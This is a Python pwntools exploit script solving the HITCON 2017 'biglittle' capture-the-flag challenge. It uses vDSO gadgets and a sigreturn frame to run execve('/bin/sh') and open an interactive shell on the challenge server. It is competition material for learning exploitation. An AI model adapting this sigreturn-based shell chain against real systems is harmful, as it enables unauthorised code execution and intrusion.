hitcon 2017 biglittle solution

x.py

import sys
from Frame import *
from pwn import *

if len(sys.argv) > 1:
    r = remote("54.178.214.211", 3573)
else:
    r = remote("localhost", 4000)

def recvpage(t):
    n = ""
    while len(n) < 4096:
        n += r.recv(timeout=t)
        if len(n) == 0:
            break
      
    return n

raw_input("> ")

prog_start = 0x4000f0
prog_write = 0x400107

read_gadget = 0x400102
vdso_base = 0x5fe000
pivot_off = 0xa9f
pop_rax = 0x8bd
syscall = 0x400117

cs = 0x33
ss = 0x2b
eflags = 0x202
ds = 0x0
es = 0x0
fs = 0x0
gs = 0x0

chain  = p64(0x602000)
chain += p64(vdso_base + pop_rax)
chain += p64(0x0)
chain += p64(read_gadget)
chain += p64(0x602000)
chain += p64(vdso_base + pop_rax)
chain += p64(15)
chain += p64(syscall)
'''
chain += p64(0x41) # r8
chain += p64(0x41) # r9
chain += p64(0x41) # r10
chain += p64(0x41) # r11
chain += p64(0x41) # r12
chain += p64(0x41) # r13
chain += p64(0x41) # r14
chain += p64(0x41) # r15
chain += p64(0x0) # di
chain += p64(0x602000) # si
chain += p64(0x41) # bp
chain += p64(0x41) # bx
chain += p64(0x41) # dx
chain += p64(0x0) # ax
chain += p64(0x41) # cx
chain += p64(0x602000) # sp
'''
frame = SigreturnFrame(arch="x64")
frame.set_regvalue("rax", 59)
frame.set_regvalue("rdx", 0x0)
frame.set_regvalue("rsi", 0x0)
frame.set_regvalue("rdi", 0x602000)
frame.set_regvalue("rip", syscall)

chain += frame.get_frame()
chain += p64(0x603000) * 13
chain += p64(prog_start)
chain += p64(eflags)
chain += p16(cs) + p16(gs) + p16(fs) + p16(ss) # cs | gs | fs | ss
chain += "\x00" * 40

r.send(chain)

data = recvpage(1)
r.send("/bin/sh\x00\n")
print len(data)
r.interactive()